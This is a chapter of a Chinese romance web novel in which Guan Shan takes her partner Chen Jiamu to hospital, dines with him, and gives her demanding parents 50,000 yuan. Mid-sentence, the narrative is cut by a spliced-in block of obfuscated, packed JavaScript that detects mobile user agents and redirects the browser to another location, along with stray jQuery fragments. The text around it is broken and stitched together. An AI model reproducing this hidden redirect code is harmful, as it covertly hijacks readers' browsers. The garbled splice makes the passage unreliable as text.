关山下班回家时，正撞见陈嘉木在拖地，她没说什么，转身进厨房做饭了。她做第一道菜，陈嘉木把床单被罩全都扔进了洗衣机，她烧第三道菜时，他又在拖地。


    她打开电饭煲，发现早上的粥原封不动地在里面，零食篮里吃的也一包没少。走进客厅，家里好像被翻新过，说是一尘不染并不夸张，就连那个放在角落里吃灰了好几个月的瑜伽垫都被洗干净了。她正要和陈嘉木说话，就见他又拿着拖布从客厅一角开始擦，用力到就像在锄地。


    房东的陈年地板已经可以照见她的影子。她上前拉住他的手臂：“已经很干净了，饭做好了，休息一下。”


    陈嘉木摇了摇头：“还不够干净。”他甩开她的手，换了个方向继续。


    他在惩罚自己，用拖把擦出一块孤岛，连关山也被困在了原地。她深吸一口气，再度上前握住拖把：“那先吃饭吧。”


    “我不会告诉方女士的。”陈嘉木用手背抹了一下额角的汗，扯了扯嘴角。


    “我没说这个。你一天没吃东西，有什么事也得先吃饭。”她注意到陈嘉木的手指上多了很多细小的划痕，“怎么弄的？”


    他沉默半晌，小声说：“护栏上的挡板是玻璃纤维的，清理时不小心碰的。”


    关山马上拉着他的手对光仔细检查：“我们得去医院。”她表情紧急，像是他伤到了动脉，“去换衣服。”


    “我检查过了，没事。”


    “不行。”关山换好外套，不容他反驳，拿着他的大衣帮他穿好，拉着他直接打车去医院。


    关山拿着各种单据熟练地穿梭在自助服务机之间，陈嘉木全程都乖乖配合，牵着她的包带，紧跟在她身后。她难得的强势，倒让他心里变得踏实。直到检查结果确定没问题，关山这才松了口气。


    折腾了一大圈，两个人并排坐在医院走廊上，他默默牵住了关山的手：“你还是在乎我的，对吧？”


    她任他牵着：“我才不在乎那个不吃饭只干活的笨蛋。”


    陈嘉木歪头靠在她的肩膀上：“我饿了。”


    “那我们回家吃饭。”他的头发扎在她颈窝，有点痒，她也歪头靠在他的头上。


    “我们去外面吃吧。”陈嘉木晃了晃她的手，“算是道歉，好不好？”


    关山站起来帮他整理好衣领：“走吧。”


    她想到陈嘉木会选贵价餐厅，但没想到是装修古朴的私房菜馆。他们没有提前预约，陈嘉木也不打算利用华裕集团的名号，就只找了在大厅角落的座位。她拿到菜单时看到半只醉蟹都要三位数，低头看了看自己身上的牛仔裤帆布鞋，小声说：“我应该回去换衣服的。”


    “哪有餐厅挑客人的？”陈嘉木对她笑了笑，“我们是来吃饭的，又不是参加宴会。”


    关山看着桌上泛着银光的餐具，穿着帆布鞋的脚不自然地晃了晃。尽管她已经做过心理建设，但真的直面这种差异，还是有些无所适从。她喝了两口柠檬水，悄悄注意周围人的用餐礼仪。


    陈嘉木见状，低声问她：“我们换一家？”


    “没事。难得来这么高档的餐厅。”关山摸了摸鼻子，“你来点菜吧，我也见识一下高档餐厅有什么不同。”


    服务生认出了陈嘉木，马上笑着迎上来：“陈总，您来也不提前说，我们好给您留最好的包厢。”说完又看向关山，礼貌地笑了笑。


    “临时决定的。菜品照旧，把豆豉酱焗蟹的韭菜去掉，盐焗鸡换成油爆虾，别的不变。”


    等服务生走远，关山小声说：“这里菜量不会很小吧？我看电视里都是那种超大的盘子里摆一丢丢吃的。”


    陈嘉木给她添了柠檬水：“如果吃不饱，你再选地方，吃到你满足为止。”


    正说着，突然走过来一个穿着花哨衬衣的男人。对方瞟了关山一眼，然后面向陈嘉木，语气轻佻：“陈总，好久不见啊。”


    关山喝了一口柠檬水，她不喜欢这人的面相。陈嘉木低头整理袖口，不打算理他。


    “你这眼光越来越差了啊。”他见陈嘉木不接话，矛头转向关山，眼神不善地打量她，“咱们陈总这条件怎么说也不能找这种档次的。”说着，眼神落在她那双旧帆布鞋上。


    关山把杯子重重放在桌上，正要起身理论，就听陈嘉木先开口了。


    “张恒，你用外在评判别人的老毛病还是没改。”陈嘉木冷着脸，语气里带了恨铁不成钢的怜悯，“衣服的价格在价签上，不过，再贵的衣服也盖不住人身上的低劣。你公司竞标争不过华裕，人就别在这种场合不得体了。”


    这人还要说什么，被赶过来的餐厅经理劝走了。服务生和经理跑过来道歉，关山不想惹麻烦，陈嘉木也没计较。他们马上提出这次免单，又赔了两份甜品。


    陈嘉木看向关山时，换上温柔的笑容：“老婆，你挑。”


    关山选了一个看起来最贵的。


    等上菜的功夫，她想到刚刚如果换做她，不是大闹一场就是忍气吞声，而陈嘉木的回应得体又从容。她由衷佩服：“陈嘉木，你...挺帅的。”


    “你才知道啊。”陈嘉木仔细地给虾剥壳。


    关山低头吃着，剥好的虾仁一颗颗跑到她盘子里，她突然想起那天垃圾桶里的虾。就算跟陈嘉木和好了，也是做普通朋友最安全。他们本就不是一个世界的人，和他保持好关系，然后继续攒钱，停止妄想。


    之后两个人谁也没再提合同的事，关山每天会按时下班，不过包里常备了一把伞。两个人一起做饭，然后窝在沙发里打游戏，她会在陈嘉木不让着她时捣乱。他们的关系似乎回到了从前，但陈嘉木知道，她不再和他分享烦恼，给他的回复也都带着礼貌的克制。


    他每天还是会跟她分享自己的画：邻居家在护栏上晒太阳的胖橘猫，草丛边捡吃的小麻雀，还有被画成标准反派鹰钩鼻的邻居阿姨。


    那些色块堆叠在一起，填上寥寥几笔便生气盎然。关山看着他刚刚发过来的画，是《猫和老鼠》里有一集Tom想象着自己坐在钱堆里撒着纸币，不过汤姆的脸换成了Q版的关山。画上她的发梢微微翘起，像起飞的小翅膀，旁边还有一行小字：送给某个小财迷。


    关山忍不住笑，电脑桌面上那些待处理的文件，看起来没那么烦人了。她看着刚到账的5万块，想了想，给陈嘉木发了信息：我们晚上去夜市吃吧？这回我请客。


    陈嘉木马上答应，还跑到公司楼下等她下班。她快步拉着他走远，等两人挤上地铁，她扯开围巾：“你想吃什么？”


    “炒饭。”陈嘉木觉得炒饭有亲近感，那是他被关山捡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198954|197143||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回家的纪念。


    “别吧，我刚发工资了，你可以选贵一点的。”


    两人在到底选什么小吃上争论，一路走到夜市入口，她还在尝试说服他选炸虾或是烤鱿鱼，就突然被人拉住了。


    是母亲和继父，他们齐齐打量着陈嘉木，然后目光又刺向关山。陈嘉木不明所以，他看到关山的脸色由红转白，即便强壮镇定，尾音还是像没涂油的琴弦：“妈，爸。”


    她知道这次不能一两句话就简单打发他们，就让陈嘉木自己去买东西，领着他们去附近的咖啡厅。


    三个人刚坐下，母亲就声泪俱下：“你当初说你要自己住，我们没拦着你。但是你怎么能做出这种不知廉耻的事？你出来住就是为了和这个男人在一起？”


    继父拍着母亲的背帮她顺气，摆出惋惜的表情：“我们之前介绍的那些相亲对象抱你，你说他们不懂分寸，然后转头就和人同居。我们还以为你是真的保守。”


    他们说得理直气壮，好像亲眼看到她和陈嘉木做了什么。她血气上涌，眼泪蓄在眼眶里，桌上的咖啡杯像波纹一样晃动，他们的脸如同不可名状的怪物。她想骂，想反驳，但是又觉得说什么都没用。


    一个二十多岁的成年人，她努力自食其力，没有开口向父母索要过什么，却一样被羞辱。她知道自己在他们眼中是什么。他们对那些相亲对象介绍她的优点是没谈过恋爱很干净。就连她考上名牌大学时他们的开心，也不过因为多了增值的标签。她是待价而沽的商品，因为和别的男人有接触，所以价格暴跌了。


    “你又不说话，是真不打算认我们了吗？”母亲捂住心口，“你弟弟还在住院，需要钱。算我们找你借钱，总可以了吧？”


    “要多少。”她听到自己这么说。


    “5万。”继父抽了两张纸巾递给关山，“擦擦眼泪吧。拿纸笔，我写借条。”


    关山没接，用手抹了一下眼睛：“转完了你们就能走了吗？”


    “你这是什么话？！”母亲的声音变得尖利，“从小我们缺过你吃喝吗？你上大学时没有钱，我们去找亲戚朋友借了才凑够学费！你的学费都不止5万！”


    但关山记得，那时他们刚买了一辆新车。


    为什么要折磨我呢？为什么不爱我要生我呢？为什么我都躲出去了还要来纠缠我呢？究竟为什么呢？


    她有一瞬间，想把这里锁起来，然后用打火机点燃一切。


    手机的信息提示音让关山理性回归，她找出纸笔放在桌上，拿到借条以后转了钱。


    母亲收到钱，又摆出语重心长的态度叮嘱她注意身体，然后就离开了。仿佛这样，他们的良心就过得去了，像是关山用5万块买他们不痛不痒的关心。她努力存钱，除了想买房子，也想有朝一日在他们面前扬眉吐气。她以为，至少看在钱的面子上，他们会善待她。


    她看着窗外一片萧瑟中，一只小飞虫一次次往玻璃上撞，寻着近在眼前却触不可及的光。


    手机提示音又响了，还是陈嘉木：我买了炸虾和烤鱿鱼，正在排炒饭，外面起风了，你就在咖啡厅等我吧(ノ￣▽￣)


    她都能想象到陈嘉木的表情，唇角不自觉勾起笑意。她擦干净眼泪，再看小飞虫时，它已经飞走了。


    得不到的东西不能强求。